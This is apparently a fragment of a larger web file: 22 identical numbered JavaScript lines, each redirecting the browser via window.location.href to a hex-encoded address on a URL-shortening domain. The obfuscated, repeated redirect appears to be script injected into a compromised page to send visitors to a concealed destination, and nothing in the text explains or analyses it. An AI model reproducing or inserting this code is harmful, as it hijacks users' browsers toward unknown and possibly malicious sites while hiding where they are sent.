57949window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
57950window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
57951window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
57952window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
57953window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
57954window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
57955window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
57956window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
57957window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
57958window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
57959window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
57960window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
57961window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
57962window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
57963window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
57964window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
57965window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
57966window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
57967window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
57968window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
57969window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
57970window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";